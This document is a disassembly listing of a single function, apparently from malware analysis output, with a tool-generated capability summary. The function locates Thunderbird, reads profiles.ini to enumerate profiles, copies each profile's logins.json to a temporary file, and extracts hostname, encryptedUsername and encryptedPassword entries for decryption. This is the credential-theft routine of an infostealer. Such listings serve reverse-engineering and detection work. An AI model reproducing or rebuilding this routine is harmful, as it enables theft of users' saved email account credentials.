Function at 0x4091e6
Capabilities:
Check if file exists
Copy file
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c8
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x14]
push str.Profile
mov dword [ebp - 0x1c], edi
call fcn.004033ab
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x4c4]
push ebx
push eax
call fcn.00401052
mov esi, 0x104
mov dword [ebp - 0x34], ebx
push esi
lea eax, [ebp - 0x2bc]
mov dword [ebp - 0x98], ebx
push ebx
push eax
call fcn.00401052
add esp, 0x14
lea edx, [ebp - 0x2bc]
mov ecx, str.thunderbird.exe
call fcn.0040abe2
pop ecx
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004033ab
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push ecx
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.004033f3
mov ecx, edi
call fcn.0040a190
test eax, eax
jne 0x4092a1
push ecx
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.004033f3
mov ecx, edi
call fcn.0040a190
test eax, eax
jne 0x4092a1
mov esi, dword [ebp - 0x14]
jmp 0x409702
push str.Thunderbird_
lea ecx, [ebp + 8]
call fcn.00403230
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.004033f3
push str.profiles.ini
lea ecx, [ebp - 0x20]
call fcn.00403230
push str.Profile
lea ecx, [ebp - 0x24]
call fcn.004033ab
push eax
lea ecx, [ebp - 0x14]
call fcn.004031fd
mov ecx, dword [ebp - 0x24]
call fcn.004058fb
push ebx
lea ecx, [ebp - 0x14]
call fcn.00403038
push dword [ebp - 0x20]
push esi
jmp 0x4096d1
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x38]
inc esi
push str.Profile
mov dword [ebp - 0x34], esi
call fcn.004033ab
push eax
lea ecx, [ebp - 0x14]
call fcn.004031fd
mov ecx, dword [ebp - 0x38]
call fcn.004058fb
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x38], ebx
call fcn.00403038
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 8]
call fcn.004033f3
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 8]
call fcn.00403230
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 8]
call fcn.0040331a
push dword [ebp - 0x18]
call dword [edi + 0x60]
pop ecx
test eax, eax
je 0x40936f
mov ecx, dword [ebp - 0x18]
call fcn.004058fb
mov ecx, dword [ebp - 8]
call fcn.004058fb
jmp 0x4096c6
call dword [edi + 0x78]
mov dword [ebp - 0x94], eax
test eax, eax
je 0x40935a
push ebx
push 1
push eax
call dword [edi + 0x74]
add esp, 0xc
test eax, eax
jne 0x40935a
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.004033f3
push str.logins.json
lea ecx, [ebp - 0x10]
call fcn.00403230
push 0x1a
pop edx
lea ecx, [ebp - 0xc]
call fcn.0040d51c
push 0x412464
lea ecx, [ebp - 0xc]
call fcn.00403230
push 8
pop edx
lea ecx, [ebp - 0x3c]
call fcn.0040326d
push eax
lea ecx, [ebp - 0xc]
call fcn.004030fb
mov ecx, dword [ebp - 0x3c]
call fcn.004058fb
push str..tmp
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x3c], ebx
call fcn.00403230
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x409409
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
call fcn.004031fd
mov edi, dword [ebp - 0x10]
lea ecx, [ebp - 0xb4]
call fcn.0040d9f6
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xb0]
call fcn.004031fd
push ecx
push 0xc0000000
lea ecx, [ebp - 0xb4]
call fcn.0040dcba
lea ecx, [ebp - 0xb4]
test eax, eax
je 0x40969a
push ebx
push dword [ebp - 0xa0]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push eax
mov dword [ebp - 0x2c], ebx
call fcn.0040d965
push str.encryptedUsername
lea ecx, [ebp - 0x64]
call fcn.00403185
mov ebx, eax
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x9c]
push eax
call fcn.00402cf2
mov edx, ebx
mov ecx, eax
call fcn.004089d8
mov ecx, dword [ebp - 0x9c]
mov ebx, eax
mov dword [ebp - 0x68], ebx
call fcn.004058fb
mov ecx, dword [ebp - 0x64]
call fcn.004058fb
test ebx, ebx
je 0x40965a
mov edi, dword [ebp - 0x1c]
xor ebx, ebx
mov esi, dword [ebp - 0x68]
push esi
push str.hostname
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
call fcn.00403185
push eax
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402cf2
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00408a11
pop ecx
pop ecx
mov ecx, dword [ebp - 0x6c]
call fcn.004058fb
mov ecx, dword [ebp - 0x70]
call fcn.004058fb
push esi
push str.encryptedUsername
lea ecx, [ebp - 0x78]
call fcn.00403185
push eax
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402cf2
mov edx, eax
lea ecx, [ebp - 0x50]
call fcn.00408a11
pop ecx
pop ecx
mov ecx, dword [ebp - 0x74]
call fcn.004058fb
mov ecx, dword [ebp - 0x78]
call fcn.004058fb
push esi
push str.encryptedPassword
lea ecx, [ebp - 0x80]
call fcn.00403185
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402cf2
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.00408a11
pop ecx
pop ecx
mov ecx, dword [ebp - 0x7c]
call fcn.004058fb
mov ecx, dword [ebp - 0x80]
call fcn.004058fb
lea eax, [ebp - 0x84]
mov ecx, edi
push eax
push dword [ebp - 0x50]
call fcn.00409c70
lea eax, [ebp - 0x8c]
mov ecx, edi
push eax
push dword [ebp - 0x4c]
call fcn.00409c70
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x24]
call fcn.00402e63
push eax
lea ecx, [ebp - 0x60]
call fcn.004031fd
mov ecx, dword [ebp - 0x40]
call fcn.004058fb
lea eax, [ebp - 0x44]
mov dword [ebp - 0x40], ebx
push eax
push dword [ebp - 0x84]
lea ecx, [ebp - 0x88]
call fcn.00403185
mov ecx, eax
call fcn.00402e63
push eax
lea ecx, [ebp - 0x5c]
call fcn.004031fd
mov ecx, dword [ebp - 0x44]
call fcn.004058fb
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x44], ebx
call fcn.004058fb
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x90]
call fcn.00403185
mov ecx, eax
call fcn.00402e63
push eax
lea ecx, [ebp - 0x58]
call fcn.004031fd
mov ecx, dword [ebp - 0x48]
call fcn.004058fb
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x48], ebx
call fcn.004058fb
sub esp, 0x10
mov dword [ebp - 0x54], 4
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.00401ed8
mov ecx, edi
call fcn.00401f0e
mov ecx, dword [ebp - 0x4c]
call fcn.004058fb
mov ecx, dword [ebp - 0x50]
call fcn.004058fb
mov ecx, dword [ebp - 0x24]
call fcn.004058fb
lea ecx, [ebp - 0x60]
call fcn.0040138f
sub esi, 1
jne 0x4094a7
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
jmp 0x40965c
xor ebx, ebx
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409679
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.004033f3
call fcn.0040da33
pop ecx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x94]
call dword [eax + 0x7c]
mov eax, dword [ebp - 0x1c]
pop ecx
call dword [eax + 0x64]
lea ecx, [ebp - 0x30]
call fcn.00402dff
lea ecx, [ebp - 0xb4]
call fcn.0040da15
mov ecx, esi
call fcn.004058fb
mov ecx, edi
mov dword [ebp - 0xc], ebx
call fcn.004058fb
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.004058fb
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov edi, dword [ebp - 0x1c]
push dword [ebp - 0x20]
mov dword [ebp - 8], ebx
push 0x104
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x4c4]
push eax
push ebx
push str.Path
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
jne 0x4092f7
mov ecx, edi
call fcn.0040a139
mov ecx, dword [ebp - 0x20]
xor ebx, ebx
inc ebx
call fcn.004058fb
mov ecx, dword [ebp - 0x28]
call fcn.004058fb
mov ecx, esi
call fcn.004058fb
mov ecx, dword [ebp + 8]
call fcn.004058fb
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4